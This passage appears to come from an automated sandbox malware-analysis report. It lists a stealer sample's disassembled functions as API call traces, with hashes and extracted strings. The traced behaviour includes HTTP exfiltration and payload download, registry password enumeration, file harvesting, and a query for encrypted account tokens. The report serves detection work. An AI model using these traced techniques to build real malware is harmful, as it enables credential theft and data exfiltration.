InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 040A4B7C
StrCmpCA.SHLWAPI(?,0064A480), ref: 040A4BA1
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 040A4D21
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,00421988,00000000,?,0064A514), ref: 040A504F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 040A506B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 040A507F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 040A50B0
InternetCloseHandle.WININET(00000000), ref: 040A5114
InternetCloseHandle.WININET(00000000), ref: 040A512C
HttpOpenRequestA.WININET(00000000,0064A49C,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 040A4D7C

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

InternetCloseHandle.WININET(00000000), ref: 040A5136

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID:
API String ID: 2402878923-0
Opcode ID: e9436af98fd97f90fb33399614dfc20492c57c9e4b406ec8cb954eac7af19915
Instruction ID: ad987374b5055c592662f49d3f080e080717921be529aceb2b6d0998f48fed2d
Opcode Fuzzy Hash: e9436af98fd97f90fb33399614dfc20492c57c9e4b406ec8cb954eac7af19915
Instruction Fuzzy Hash: 58123F72A10218ABEB15EB94DD90FEEB379BF14308F504199A14672091EF743F88CFA5

Function 040A64E7 Relevance: 16.7, APIs: 11, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A51
Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A68
Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A7F
Part of subcall function 040A4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 040A4AA0
Part of subcall function 040A4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 040A4AB0

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 040A6548
StrCmpCA.SHLWAPI(?,0064A480), ref: 040A656A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 040A659C
HttpOpenRequestA.WININET(00000000,00421A28,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 040A65EC
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 040A6626
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 040A6638
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 040A6664
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 040A66D4
InternetCloseHandle.WININET(00000000), ref: 040A6756
InternetCloseHandle.WININET(00000000), ref: 040A6760
InternetCloseHandle.WININET(00000000), ref: 040A676A

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID:
API String ID: 3074848878-0
Opcode ID: 6233cd159639085ce3b028a95152e179a77ccdecf231ea1e95f5afa63e354fd7
Instruction ID: 7e22a3d87c12983121780b17b36de42691523c7a3f1b50cf3889075a1a4cc556
Opcode Fuzzy Hash: 6233cd159639085ce3b028a95152e179a77ccdecf231ea1e95f5afa63e354fd7
Instruction Fuzzy Hash: C6718C75A00218ABEB24DFE0CC48FEE77B5EB04704F148198E14ABB190DBB57A84CF91

Function 040B9277 Relevance: 16.7, APIs: 11, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 040B92D3

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: f19ccceb9d9d465938ce7f290bd949bbae8562b5bf3b96ffc27cc6e5329703af
Instruction ID: 6b16a37cccff49962315bd6a98712a3bd1f55fd9ec973b9e65a2f877f7999376
Opcode Fuzzy Hash: f19ccceb9d9d465938ce7f290bd949bbae8562b5bf3b96ffc27cc6e5329703af
Instruction Fuzzy Hash: 4C710DB9A40208ABDB14EFE4DD84FEEB7B9FF49704F109508F605A7290DB74A905CB61

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 004172AE, 00417179, 0041717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: 83bc95c561d3c7d7ec3f072c7b35a55b7f907de0dec64aa1652b34b8f8455e89
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: 83bc95c561d3c7d7ec3f072c7b35a55b7f907de0dec64aa1652b34b8f8455e89
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 040B7767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 040B77A9
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 040B77E6
GetProcessHeap.KERNEL32(00000000,00000104), ref: 040B786A
RtlAllocateHeap.NTDLL(00000000), ref: 040B7871
wsprintfA.USER32 ref: 040B78A7

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Strings

:, xrefs: 040B77C3
\, xrefs: 040B77C7
B, xrefs: 040B78B4, 040B78BC, 040B7882, 040B788A
C, xrefs: 040B77B3

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$B
API String ID: 1544550907-183544611
Opcode ID: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction ID: 159ca3a9698f71d2b5d43d5e1dc1bb1996bffaeb1b9fe1dc8ab86c9519679432
Opcode Fuzzy Hash: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction Fuzzy Hash: 424191B1E40258EBDF10DF94CC45BEEBBB9EF48704F004199E545B7280E7756A84CBAA

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(00000000,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(00000000,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(00000000, : ), ref: 0040765A
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(00000000,00421804), ref: 004076A0
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(00000000,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 991097200e3f3986b00727b8e04d0ccc938683cf049b1a3c2dcf1bd456b0a09d
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 991097200e3f3986b00727b8e04d0ccc938683cf049b1a3c2dcf1bd456b0a09d
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 040B1612 Relevance: 15.2, APIs: 10, Instructions: 205stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 040B1642

Part of subcall function 040B9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 040B9072

Part of subcall function 040B94C7: StrStrA.SHLWAPI(?,?), ref: 040B94D3

lstrcpy.KERNEL32(?,00000000), ref: 040B167E

Part of subcall function 040B94C7: lstrcpyn.KERNEL32(0064AB88,?,?), ref: 040B94F7
Part of subcall function 040B94C7: lstrlen.KERNEL32(?), ref: 040B950E
Part of subcall function 040B94C7: wsprintfA.USER32 ref: 040B952E

lstrcpy.KERNEL32(?,00000000), ref: 040B16C6
lstrcpy.KERNEL32(?,00000000), ref: 040B170E
lstrcpy.KERNEL32(?,00000000), ref: 040B1755
lstrcpy.KERNEL32(?,00000000), ref: 040B179D
lstrcpy.KERNEL32(?,00000000), ref: 040B17E5
lstrcpy.KERNEL32(?,00000000), ref: 040B182C
lstrcpy.KERNEL32(?,00000000), ref: 040B1874

Part of subcall function 040BAA87: lstrlen.KERNEL32(040A516C,?,?,040A516C,00420DDE), ref: 040BAA92
Part of subcall function 040BAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 040BAAEC

strtok_s.MSVCRT ref: 040B19B7

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$FolderPathlstrcpynstrtok_swsprintf
String ID:
API String ID: 4276352425-0
Opcode ID: 83c65cf866c105f8028d079524fd97563369a1785312c17678ae49576856bbd9
Instruction ID: b42f31b6a930764727ec01869ec122f0e6d9d87ce0f311c802961383ab5374ea
Opcode Fuzzy Hash: 83c65cf866c105f8028d079524fd97563369a1785312c17678ae49576856bbd9
Instruction Fuzzy Hash: 2771A6B2951118ABDB14EBB0DC88EEE7379AF54308F044598E24DB2150EF75BB84CFA5

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,024EBE10,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,024B9CF0), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,024EC030), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: 90fab53855280a57fda400dfd0302278240fe8fa9e8df30b63c428c3d2f2dbd2
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 90fab53855280a57fda400dfd0302278240fe8fa9e8df30b63c428c3d2f2dbd2
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,024EBC90,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,024EBC90,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

%d MB, xrefs: 004181A3
@, xrefs: 0041814D

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 040A6307 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A51
Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A68
Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A7F
Part of subcall function 040A4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 040A4AA0
Part of subcall function 040A4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 040A4AB0

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 040A6376
StrCmpCA.SHLWAPI(?,0064A480), ref: 040A63AE
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 040A63F6
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 040A641A
InternetReadFile.WININET(?,?,00000400,?), ref: 040A6443
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 040A6471
CloseHandle.KERNEL32(?,?,00000400), ref: 040A64B0
InternetCloseHandle.WININET(?), ref: 040A64BA
InternetCloseHandle.WININET(00000000), ref: 040A64C7

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: b915265d1829dfbd27db1cb5210114f0d1e48a2f7e5b50ca4442b739670315f0
Instruction ID: 1cca5b1dbf1713d4f5561f5e7f43ab984122ad15b7dd0a26216eedb7945c5ecf
Opcode Fuzzy Hash: b915265d1829dfbd27db1cb5210114f0d1e48a2f7e5b50ca4442b739670315f0
Instruction Fuzzy Hash: 8E516DB5A40218ABEB20DFA0CC44BEE77B9AB44705F048498B645B71C0DBB57A85CFA5

Function 040B4FD7 Relevance: 12.6, APIs: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 040B4FEE

Part of subcall function 040B9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 040B9072

lstrcat.KERNEL32(?,00000000), ref: 040B5017
lstrcat.KERNEL32(?,00421000), ref: 040B5034

Part of subcall function 040B4B77: wsprintfA.USER32 ref: 040B4B93
Part of subcall function 040B4B77: FindFirstFileA.KERNEL32(?,?), ref: 040B4BAA

memset.MSVCRT ref: 040B507A
lstrcat.KERNEL32(?,00000000), ref: 040B50A3
lstrcat.KERNEL32(?,00421020), ref: 040B50C0

Part of subcall function 040B4B77: StrCmpCA.SHLWAPI(?,00420FDC), ref: 040B4BD8
Part of subcall function 040B4B77: StrCmpCA.SHLWAPI(?,00420FE0), ref: 040B4BEE
Part of subcall function 040B4B77: FindNextFileA.KERNEL32(000000FF,?), ref: 040B4DE4
Part of subcall function 040B4B77: FindClose.KERNEL32(000000FF), ref: 040B4DF9

memset.MSVCRT ref: 040B5106
lstrcat.KERNEL32(?,00000000), ref: 040B512F
lstrcat.KERNEL32(?,00421038), ref: 040B514C

Part of subcall function 040B4B77: wsprintfA.USER32 ref: 040B4C17
Part of subcall function 040B4B77: StrCmpCA.SHLWAPI(?,004208D2), ref: 040B4C2C
Part of subcall function 040B4B77: wsprintfA.USER32 ref: 040B4C49
Part of subcall function 040B4B77: PathMatchSpecA.SHLWAPI(?,?), ref: 040B4C85
Part of subcall function 040B4B77: lstrcat.KERNEL32(?,0064A524), ref: 040B4CB1
Part of subcall function 040B4B77: lstrcat.KERNEL32(?,00420FF8), ref: 040B4CC3
Part of subcall function 040B4B77: lstrcat.KERNEL32(?,?), ref: 040B4CD7
Part of subcall function 040B4B77: lstrcat.KERNEL32(?,00420FFC), ref: 040B4CE9
Part of subcall function 040B4B77: lstrcat.KERNEL32(?,?), ref: 040B4CFD
Part of subcall function 040B4B77: CopyFileA.KERNEL32(?,?,00000001), ref: 040B4D13
Part of subcall function 040B4B77: DeleteFileA.KERNEL32(?), ref: 040B4D98

memset.MSVCRT ref: 040B5192

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 4017274736-0
Opcode ID: 53c49ebc4b6c987f3a25fb04f0f9e833fe86fb43a5b4eada2cc9e881564654d5
Instruction ID: 27488f0d4fc5118f1d50d459215ec32695e7fee117e740e9eb8778ec41d4aa99
Opcode Fuzzy Hash: 53c49ebc4b6c987f3a25fb04f0f9e833fe86fb43a5b4eada2cc9e881564654d5
Instruction Fuzzy Hash: 4F41D579B402146BEB10F7B0EC46FDD3738AB24709F404494A6C5760C0EEB967D88BA6

Function 040B8367 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0064A360,00000000,?,00420E2C,00000000,?,00000000), ref: 040B8397
RtlAllocateHeap.NTDLL(00000000), ref: 040B839E
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 040B83BF
__aulldiv.LIBCMT ref: 040B83D9
__aulldiv.LIBCMT ref: 040B83E7
wsprintfA.USER32 ref: 040B8413

Strings

@, xrefs: 040B83B4

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: @
API String ID: 2774356765-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: a22e88d0b17f7b28569f29d8ec693109e4873de77bf0f5189eb367d052b1d69d
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: D5214DB1E44219ABEB00DFD4CC49FEEB7B9FB44B04F104509F605BB280D77869008BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountId, xrefs: 0040BCC4
AccountTokens, xrefs: 0040BB49
AccountTokens, xrefs: 0040BABA

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
